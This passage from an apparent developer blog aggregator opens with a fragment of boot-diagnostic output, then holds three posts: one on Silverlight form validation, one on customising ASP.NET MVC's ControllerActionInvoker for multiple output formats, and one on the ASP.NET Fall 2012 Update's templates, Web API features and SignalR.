688.7GB: initrd.img 688.0GB: vmlinuz =========================== Unknown MBRs/Boot Sectors/etc ======================= Unknown BootLoader on pdc_bdadcfbdif3 =======Devices which don't seem to have a corresponding hard drive============== sdc sdd sde sdf sdg =============================== StdErr Messages: =============================== ERROR: dos: partition address past end of RAID device hexdump: /dev/mapper/pdc_bdadcfbdif3: No such file or directory hexdump: /dev/mapper/pdc_bdadcfbdif3: No such file or directory ERROR: dos: partition address past end of RAID device

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• Validation in Silverlight

  - by Timmy Kokke

  Getting started with the basics Validation in Silverlight can get very complex pretty easy. The DataGrid control is the only control that does data validation automatically, but often you want to validate your own entry form. Values a user may enter in this form can be restricted by the customer and have to fit an exact fit to a list of requirements or you just want to prevent problems when saving the data to the database. Showing a message to the user when a value is entered is pretty straight forward as I’ll show you in the following example.     This (default) Silverlight textbox is data-bound to a simple data class. It has to be bound in “Two-way” mode to be sure the source value is updated when the target value changes. The INotifyPropertyChanged interface must be implemented by the data class to get the notification system to work. When the property changes a simple check is performed and when it doesn’t match some criteria an ValidationException is thrown. The ValidatesOnExceptions binding attribute is set to True to tell the textbox it should handle the thrown ValidationException. Let’s have a look at some code now. The xaml should contain something like below. The most important part is inside the binding. In this case the Text property is bound to the “Name” property in TwoWay mode. It is also told to validate on exceptions. This property is false by default.   <StackPanel Orientation="Horizontal"> <TextBox Width="150" x:Name="Name" Text="{Binding Path=Name, Mode=TwoWay, ValidatesOnExceptions=True}"/> <TextBlock Text="Name"/> </StackPanel>   The data class in this first example is a very simplified person class with only one property: string Name. The INotifyPropertyChanged interface is implemented and the PropertyChanged event is fired when the Name property changes. When the property changes a check is performed to see if the new string is null or empty. If this is the case a ValidationException is thrown explaining that the entered value is invalid.   public class PersonData:INotifyPropertyChanged { private string _name; public string Name { get { return _name; } set { if (_name != value) { if(string.IsNullOrEmpty(value)) throw new ValidationException("Name is required"); _name = value; if (PropertyChanged != null) PropertyChanged(this, new PropertyChangedEventArgs("Name")); } } } public event PropertyChangedEventHandler PropertyChanged=delegate { }; } The last thing that has to be done is letting binding an instance of the PersonData class to the DataContext of the control. This is done in the code behind file. public partial class Demo1 : UserControl { public Demo1() { InitializeComponent(); this.DataContext = new PersonData() {Name = "Johnny Walker"}; } }   Error Summary In many cases you would have more than one entry control. A summary of errors would be nice in such case. With a few changes to the xaml an error summary, like below, can be added.           First, add a namespace to the xaml so the control can be used. Add the following line to the header of the .xaml file. xmlns:Controls="clr-namespace:System.Windows.Controls;assembly=System.Windows.Controls.Data.Input"   Next, add the control to the layout. To get the result as in the image showed earlier, add the control right above the StackPanel from the first example. It’s got a small margin to separate it from the textbox a little.   <Controls:ValidationSummary Margin="8"/>   The ValidationSummary control has to be notified that an ValidationException occurred. This can be done with a small change to the xaml too. Add the NotifyOnValidationError to the binding expression. By default this value is set to false, so nothing would be notified. Set the property to true to get it to work.   <TextBox Width="150" x:Name="Name" Text="{Binding Name, Mode=TwoWay, ValidatesOnExceptions=True, NotifyOnValidationError=True}"/>   Data annotation Validating data in the setter is one option, but not my personal favorite. It’s the easiest way if you have a single required value you want to check, but often you want to validate more. Besides, I don’t consider it best practice to write logic in setters. The way used by frameworks like WCF Ria Services is the use of attributes on the properties. Instead of throwing exceptions you have to call the static method ValidateProperty on the Validator class. This call stays always the same for a particular property, not even when you change the attributes on the property. To mark a property “Required” you can use the RequiredAttribute. This is what the Name property is going to look like:   [Required] public string Name { get { return _name; } set { if (_name != value) { Validator.ValidateProperty(value, new ValidationContext(this, null, null){ MemberName = "Name" }); _name = value; if (PropertyChanged != null) PropertyChanged(this, new PropertyChangedEventArgs("Name")); } } }   The ValidateProperty method takes the new value for the property and an instance of ValidationContext. The properties passed to the constructor of the ValidationContextclass are very straight forward. This part is the same every time. The only thing that changes is the MemberName property of the ValidationContext. Property has to hold the name of the property you want to validate. It’s the same value you provide the PropertyChangedEventArgs with. The System.ComponentModel.DataAnnotation contains eight different validation attributes including a base class to create your own. They are: RequiredAttribute Specifies that a value must be provided. RangeAttribute The provide value must fall in the specified range. RegularExpressionAttribute Validates is the value matches the regular expression. StringLengthAttribute Checks if the number of characters in a string falls between a minimum and maximum amount. CustomValidationAttribute Use a custom method to validate the value. DataTypeAttribute Specify a data type using an enum or a custom data type. EnumDataTypeAttribute Makes sure the value is found in a enum. ValidationAttribute A base class for custom validation attributes All of these will ensure that an validation exception is thrown, except the DataTypeAttribute. This attribute is used to provide some additional information about the property. You can use this information in your own code.   [Required] [Range(0,125,ErrorMessage = "Value is not a valid age")] public int Age {   It’s no problem to stack different validation attributes together. For example, when an Age is required and must fall in the range from 0 to 125:   [Required, StringLength(255,MinimumLength = 3)] public string Name {   Or in one row like this, for a required Name with at least 3 characters and a maximum of 255:   Delayed validation Having properties marked as required can be very useful. The only downside to the technique described earlier is that you have to change the value in order to get it validated. What if you start out with empty an empty entry form? All fields are empty and thus won’t be validated. With this small trick you can validate at the moment the user click the submit button.   <TextBox Width="150" x:Name="NameField" Text="{Binding Name, Mode=TwoWay, ValidatesOnExceptions=True, NotifyOnValidationError=True, UpdateSourceTrigger=Explicit}"/>   By default, when a TwoWay bound control looses focus the value is updated. When you added validation like I’ve shown you earlier, the value is validated. To overcome this, you have to tell the binding update explicitly by setting the UpdateSourceTrigger binding property to Explicit:   private void SubmitButtonClick(object sender, RoutedEventArgs e) { NameField.GetBindingExpression(TextBox.TextProperty).UpdateSource(); }   This way, the binding is in two direction but the source is only updated, thus validated, when you tell it to. In the code behind you have to call the UpdateSource method on the binding expression, which you can get from the TextBox.   Conclusion Data validation is something you’ll probably want on almost every entry form. I always thought it was hard to do, but it wasn’t. If you can throw an exception you can do validation. If you want to know anything more in depth about something I talked about in this article let me know. I might write an entire post to that.

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• ASP.NET MVC ‘Extendable-hooks’ – ControllerActionInvoker class

  - by nmarun

  There’s a class ControllerActionInvoker in ASP.NET MVC. This can be used as one of an hook-points to allow customization of your application. Watching Brad Wilsons’ Advanced MP3 from MVC Conf inspired me to write about this class. What MSDN says: “Represents a class that is responsible for invoking the action methods of a controller.” Well if MSDN says it, I think I can instill a fair amount of confidence into what the class does. But just to get to the details, I also looked into the source code for MVC. Seems like the base class Controller is where an IActionInvoker is initialized: 1: protected virtual IActionInvoker CreateActionInvoker() { 2: return new ControllerActionInvoker(); 3: } In the ControllerActionInvoker (the O-O-B behavior), there are different ‘versions’ of InvokeActionMethod() method that actually call the action method in question and return an instance of type ActionResult. 1: protected virtual ActionResult InvokeActionMethod(ControllerContext controllerContext, ActionDescriptor actionDescriptor, IDictionary<string, object> parameters) { 2: object returnValue = actionDescriptor.Execute(controllerContext, parameters); 3: ActionResult result = CreateActionResult(controllerContext, actionDescriptor, returnValue); 4: return result; 5: } I guess that’s enough on the ‘behind-the-screens’ of this class. Let’s see how we can use this class to hook-up extensions. Say I have a requirement that the user should be able to get different renderings of the same output, like html, xml, json, csv and so on. The user will type-in the output format in the url and should the get result accordingly. For example: http://site.com/RenderAs/ – renders the default way (the razor view) http://site.com/RenderAs/xml http://site.com/RenderAs/csv … and so on where RenderAs is my controller. There are many ways of doing this and I’m using a custom ControllerActionInvoker class (even though this might not be the best way to accomplish this). For this, my one and only route in the Global.asax.cs is: 1: routes.MapRoute("RenderAsRoute", "RenderAs/{outputType}", 2: new {controller = "RenderAs", action = "Index", outputType = ""}); Here the controller name is ‘RenderAsController’ and the action that’ll get called (always) is the Index action. The outputType parameter will map to the type of output requested by the user (xml, csv…). I intend to display a list of food items for this example. 1: public class Item 2: { 3: public int Id { get; set; } 4: public string Name { get; set; } 5: public Cuisine Cuisine { get; set; } 6: } 7:  8: public class Cuisine 9: { 10: public int CuisineId { get; set; } 11: public string Name { get; set; } 12: } Coming to my ‘RenderAsController’ class. I generate an IList<Item> to represent my model. 1: private static IList<Item> GetItems() 2: { 3: Cuisine cuisine = new Cuisine { CuisineId = 1, Name = "Italian" }; 4: Item item = new Item { Id = 1, Name = "Lasagna", Cuisine = cuisine }; 5: IList<Item> items = new List<Item> { item }; 6: item = new Item {Id = 2, Name = "Pasta", Cuisine = cuisine}; 7: items.Add(item); 8: //... 9: return items; 10: } My action method looks like 1: public IList<Item> Index(string outputType) 2: { 3: return GetItems(); 4: } There are two things that stand out in this action method. The first and the most obvious one being that the return type is not of type ActionResult (or one of its derivatives). Instead I’m passing the type of the model itself (IList<Item> in this case). We’ll convert this to some type of an ActionResult in our custom controller action invoker class later. The second thing (a little subtle) is that I’m not doing anything with the outputType value that is passed on to this action method. This value will be in the RouteData dictionary and we’ll use this in our custom invoker class as well. It’s time to hook up our invoker class. First, I’ll override the Initialize() method of my RenderAsController class. 1: protected override void Initialize(RequestContext requestContext) 2: { 3: base.Initialize(requestContext); 4: string outputType = string.Empty; 5:  6: // read the outputType from the RouteData dictionary 7: if (requestContext.RouteData.Values["outputType"] != null) 8: { 9: outputType = requestContext.RouteData.Values["outputType"].ToString(); 10: } 11:  12: // my custom invoker class 13: ActionInvoker = new ContentRendererActionInvoker(outputType); 14: } Coming to the main part of the discussion – the ContentRendererActionInvoker class: 1: public class ContentRendererActionInvoker : ControllerActionInvoker 2: { 3: private readonly string _outputType; 4:  5: public ContentRendererActionInvoker(string outputType) 6: { 7: _outputType = outputType.ToLower(); 8: } 9: //... 10: } So the outputType value that was read from the RouteData, which was passed in from the url, is being set here in  a private field. Moving to the crux of this article, I now override the CreateActionResult method. 1: protected override ActionResult CreateActionResult(ControllerContext controllerContext, ActionDescriptor actionDescriptor, object actionReturnValue) 2: { 3: if (actionReturnValue == null) 4: return new EmptyResult(); 5:  6: ActionResult result = actionReturnValue as ActionResult; 7: if (result != null) 8: return result; 9:  10: // This is where the magic happens 11: // Depending on the value in the _outputType field, 12: // return an appropriate ActionResult 13: switch (_outputType) 14: { 15: case "json": 16: { 17: JavaScriptSerializer serializer = new JavaScriptSerializer(); 18: string json = serializer.Serialize(actionReturnValue); 19: return new ContentResult { Content = json, ContentType = "application/json" }; 20: } 21: case "xml": 22: { 23: XmlSerializer serializer = new XmlSerializer(actionReturnValue.GetType()); 24: using (StringWriter writer = new StringWriter()) 25: { 26: serializer.Serialize(writer, actionReturnValue); 27: return new ContentResult { Content = writer.ToString(), ContentType = "text/xml" }; 28: } 29: } 30: case "csv": 31: controllerContext.HttpContext.Response.AddHeader("Content-Disposition", "attachment; filename=items.csv"); 32: return new ContentResult 33: { 34: Content = ToCsv(actionReturnValue as IList<Item>), 35: ContentType = "application/ms-excel" 36: }; 37: case "pdf": 38: string filePath = controllerContext.HttpContext.Server.MapPath("~/items.pdf"); 39: controllerContext.HttpContext.Response.AddHeader("content-disposition", 40: "attachment; filename=items.pdf"); 41: ToPdf(actionReturnValue as IList<Item>, filePath); 42: return new FileContentResult(StreamFile(filePath), "application/pdf"); 43:  44: default: 45: controllerContext.Controller.ViewData.Model = actionReturnValue; 46: return new ViewResult 47: { 48: TempData = controllerContext.Controller.TempData, 49: ViewData = controllerContext.Controller.ViewData 50: }; 51: } 52: } A big method there! The hook I was talking about kinda above actually is here. This is where different kinds / formats of output get returned based on the output type requested in the url. When the _outputType is not set (string.Empty as set in the Global.asax.cs file), the razor view gets rendered (lines 45-50). This is the default behavior in most MVC applications where-in a view (webform/razor) gets rendered on the browser. As you see here, this gets returned as a ViewResult. But then, for an outputType of json/xml/csv, a ContentResult gets returned, while for pdf, a FileContentResult is returned. Here are how the different kinds of output look like: This is how we can leverage this feature of ASP.NET MVC to developer a better application. I’ve used the iTextSharp library to convert to a pdf format. Mike gives quite a bit of detail regarding this library here. You can download the sample code here. (You’ll get an option to download once you open the link). Verdict: Hot chocolate: $3; Reebok shoes: $50; Your first car: $3000; Being able to extend a web application: Priceless.

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• Ten - oh, wait, eleven - Eleven things you should know about the ASP.NET Fall 2012 Update

  - by Jon Galloway

  Today, just a little over two months after the big ASP.NET 4.5 / ASP.NET MVC 4 / ASP.NET Web API / Visual Studio 2012 / Web Matrix 2 release, the first preview of the ASP.NET Fall 2012 Update is out. Here's what you need to know: There are no new framework bits in this release - there's no change or update to ASP.NET Core, ASP.NET MVC or Web Forms features. This means that you can start using it without any updates to your server, upgrade concerns, etc. This update is really an update to the project templates and Visual Studio tooling, conceptually similar to the ASP.NET MVC 3 Tools Update. It's a relatively lightweight install. It's a 41MB download. I've installed it many times and usually takes 5-7 minutes; it's never required a reboot. It adds some new project templates to ASP.NET MVC: Facebook Application and Single Page Application templates. It adds a lot of cool enhancements to ASP.NET Web API. It adds some tooling that makes it easy to take advantage of features like SignalR, Friendly URLs, and Windows Azure Authentication. Most of the new features are installed via NuGet packages. Since ASP.NET is open source, nightly NuGet packages are available, and the roadmap is published, most of this has really been publicly available for a while. The official name of this drop is the ASP.NET Fall 2012 Update BUILD Prerelease. Please do not attempt to say that ten times fast. While the EULA doesn't prohibit it, it WILL legally change your first name to Scott. As with all new releases, you can find out everything you need to know about the Fall Update at http://asp.net/vnext (especially the release notes!) I'm going to be showing all of this off, assisted by special guest code monkey Scott Hanselman, this Friday at BUILD: Bleeding edge ASP.NET: See what is next for MVC, Web API, SignalR and more… (and I've heard it will be livestreamed). Let's look at some of those things in more detail. No new bits ASP.NET 4.5, MVC 4 and Web API have a lot of great core features. I see the goal of this update release as making it easier to put those features to use to solve some useful scenarios by taking advantage of NuGet packages and template code. If you create a new ASP.NET MVC application using one of the new templates, you'll see that it's using the ASP.NET MVC 4 RTM NuGet package (4.0.20710.0): This means you can install and use the Fall Update without any impact on your existing projects and no worries about upgrading or compatibility. New Facebook Application Template ASP.NET MVC 4 (and ASP.NET 4.5 Web Forms) included the ability to authenticate your users via OAuth and OpenID, so you could let users log in to your site using a Facebook account. One of the new changes in the Fall Update is a new template that makes it really easy to create full Facebook applications. You could create Facebook application in ASP.NET already, you'd just need to go through a few steps: Search around to find a good Facebook NuGet package, like the Facebook C# SDK (written by my friend Nathan Totten and some other Facebook SDK brainiacs). Read the Facebook developer documentation to figure out how to authenticate and integrate with them. Write some code, debug it and repeat until you got something working. Get started with the application you'd originally wanted to write. What this template does for you: eliminate steps 1-3. Erik Porter, Nathan and some other experts built out the Facebook Application template so it automatically pulls in and configures the Facebook NuGet package and makes it really easy to take advantage of it in an ASP.NET MVC application. One great example is the the way you access a Facebook user's information. Take a look at the following code in a File / New / MVC / Facebook Application site. First, the Home Controller Index action: [FacebookAuthorize(Permissions = "email")] public ActionResult Index(MyAppUser user, FacebookObjectList<MyAppUserFriend> userFriends) { ViewBag.Message = "Modify this template to jump-start your Facebook application using ASP.NET MVC."; ViewBag.User = user; ViewBag.Friends = userFriends.Take(5); return View(); } First, notice that there's a FacebookAuthorize attribute which requires the user is authenticated via Facebook and requires permissions to access their e-mail address. It binds to two things: a custom MyAppUser object and a list of friends. Let's look at the MyAppUser code: using Microsoft.AspNet.Mvc.Facebook.Attributes; using Microsoft.AspNet.Mvc.Facebook.Models; // Add any fields you want to be saved for each user and specify the field name in the JSON coming back from Facebook // https://developers.facebook.com/docs/reference/api/user/ namespace MvcApplication3.Models { public class MyAppUser : FacebookUser { public string Name { get; set; } [FacebookField(FieldName = "picture", JsonField = "picture.data.url")] public string PictureUrl { get; set; } public string Email { get; set; } } } You can add in other custom fields if you want, but you can also just bind to a FacebookUser and it will automatically pull in the available fields. You can even just bind directly to a FacebookUser and check for what's available in debug mode, which makes it really easy to explore. For more information and some walkthroughs on creating Facebook applications, see: Deploying your first Facebook App on Azure using ASP.NET MVC Facebook Template (Yao Huang Lin) Facebook Application Template Tutorial (Erik Porter) Single Page Application template Early releases of ASP.NET MVC 4 included a Single Page Application template, but it was removed for the official release. There was a lot of interest in it, but it was kind of complex, as it handled features for things like data management. The new Single Page Application template that ships with the Fall Update is more lightweight. It uses Knockout.js on the client and ASP.NET Web API on the server, and it includes a sample application that shows how they all work together. I think the real benefit of this application is that it shows a good pattern for using ASP.NET Web API and Knockout.js. For instance, it's easy to end up with a mess of JavaScript when you're building out a client-side application. This template uses three separate JavaScript files (delivered via a Bundle, of course): todoList.js - this is where the main client-side logic lives todoList.dataAccess.js - this defines how the client-side application interacts with the back-end services todoList.bindings.js - this is where you set up events and overrides for the Knockout bindings - for instance, hooking up jQuery validation and defining some client-side events This is a fun one to play with, because you can just create a new Single Page Application and hit F5. Quick, easy install (with one gotcha) One of the cool engineering changes for this release is a big update to the installer to make it more lightweight and efficient. I've been running nightly builds of this for a few weeks to prep for my BUILD demos, and the install has been really quick and easy to use. The install takes about 5 minutes, has never required a reboot for me, and the uninstall is just as simple. There's one gotcha, though. In this preview release, you may hit an issue that will require you to uninstall and re-install the NuGet VSIX package. The problem comes up when you create a new MVC application and see this dialog: The solution, as explained in the release notes, is to uninstall and re-install the NuGet VSIX package: Start Visual Studio 2012 as an Administrator Go to Tools->Extensions and Updates and uninstall NuGet. Close Visual Studio Navigate to the ASP.NET Fall 2012 Update installation folder: For Visual Studio 2012: Program Files\Microsoft ASP.NET\ASP.NET Web Stack\Visual Studio 2012 For Visual Studio 2012 Express for Web: Program Files\Microsoft ASP.NET\ASP.NET Web Stack\Visual Studio Express 2012 for Web Double click on the NuGet.Tools.vsix to reinstall NuGet This took me under a minute to do, and I was up and running. ASP.NET Web API Update Extravaganza! Uh, the Web API team is out of hand. They added a ton of new stuff: OData support, Tracing, and API Help Page generation. OData support Some people like OData. Some people start twitching when you mention it. If you're in the first group, this is for you. You can add a [Queryable] attribute to an API that returns an IQueryable<Whatever> and you get OData query support from your clients. Then, without any extra changes to your client or server code, your clients can send filters like this: /Suppliers?$filter=Name eq ‘Microsoft’ For more information about OData support in ASP.NET Web API, see Alex James' mega-post about it: OData support in ASP.NET Web API ASP.NET Web API Tracing Tracing makes it really easy to leverage the .NET Tracing system from within your ASP.NET Web API's. If you look at the \App_Start\WebApiConfig.cs file in new ASP.NET Web API project, you'll see a call to TraceConfig.Register(config). That calls into some code in the new \App_Start\TraceConfig.cs file: public static void Register(HttpConfiguration configuration) { if (configuration == null) { throw new ArgumentNullException("configuration"); } SystemDiagnosticsTraceWriter traceWriter = new SystemDiagnosticsTraceWriter() { MinimumLevel = TraceLevel.Info, IsVerbose = false }; configuration.Services.Replace(typeof(ITraceWriter), traceWriter); } As you can see, this is using the standard trace system, so you can extend it to any other trace listeners you'd like. To see how it works with the built in diagnostics trace writer, just run the application call some API's, and look at the Visual Studio Output window: iisexpress.exe Information: 0 : Request, Method=GET, Url=http://localhost:11147/api/Values, Message='http://localhost:11147/api/Values' iisexpress.exe Information: 0 : Message='Values', Operation=DefaultHttpControllerSelector.SelectController iisexpress.exe Information: 0 : Message='WebAPI.Controllers.ValuesController', Operation=DefaultHttpControllerActivator.Create iisexpress.exe Information: 0 : Message='WebAPI.Controllers.ValuesController', Operation=HttpControllerDescriptor.CreateController iisexpress.exe Information: 0 : Message='Selected action 'Get()'', Operation=ApiControllerActionSelector.SelectAction iisexpress.exe Information: 0 : Operation=HttpActionBinding.ExecuteBindingAsync iisexpress.exe Information: 0 : Operation=QueryableAttribute.ActionExecuting iisexpress.exe Information: 0 : Message='Action returned 'System.String[]'', Operation=ReflectedHttpActionDescriptor.ExecuteAsync iisexpress.exe Information: 0 : Message='Will use same 'JsonMediaTypeFormatter' formatter', Operation=JsonMediaTypeFormatter.GetPerRequestFormatterInstance iisexpress.exe Information: 0 : Message='Selected formatter='JsonMediaTypeFormatter', content-type='application/json; charset=utf-8'', Operation=DefaultContentNegotiator.Negotiate iisexpress.exe Information: 0 : Operation=ApiControllerActionInvoker.InvokeActionAsync, Status=200 (OK) iisexpress.exe Information: 0 : Operation=QueryableAttribute.ActionExecuted, Status=200 (OK) iisexpress.exe Information: 0 : Operation=ValuesController.ExecuteAsync, Status=200 (OK) iisexpress.exe Information: 0 : Response, Status=200 (OK), Method=GET, Url=http://localhost:11147/api/Values, Message='Content-type='application/json; charset=utf-8', content-length=unknown' iisexpress.exe Information: 0 : Operation=JsonMediaTypeFormatter.WriteToStreamAsync iisexpress.exe Information: 0 : Operation=ValuesController.Dispose API Help Page When you create a new ASP.NET Web API project, you'll see an API link in the header: Clicking the API link shows generated help documentation for your ASP.NET Web API controllers: And clicking on any of those APIs shows specific information: What's great is that this information is dynamically generated, so if you add your own new APIs it will automatically show useful and up to date help. This system is also completely extensible, so you can generate documentation in other formats or customize the HTML help as much as you'd like. The Help generation code is all included in an ASP.NET MVC Area: SignalR SignalR is a really slick open source project that was started by some ASP.NET team members in their spare time to add real-time communications capabilities to ASP.NET - and .NET applications in general. It allows you to handle long running communications channels between your server and multiple connected clients using the best communications channel they can both support - websockets if available, falling back all the way to old technologies like long polling if necessary for old browsers. SignalR remains an open source project, but now it's being included in ASP.NET (also open source, hooray!). That means there's real, official ASP.NET engineering work being put into SignalR, and it's even easier to use in an ASP.NET application. Now in any ASP.NET project type, you can right-click / Add / New Item... SignalR Hub or Persistent Connection. And much more... There's quite a bit more. You can find more info at http://asp.net/vnext, and we'll be adding more content as fast as we can. Watch my BUILD talk to see as I demonstrate these and other features in the ASP.NET Fall 2012 Update, as well as some other even futurey-er stuff!

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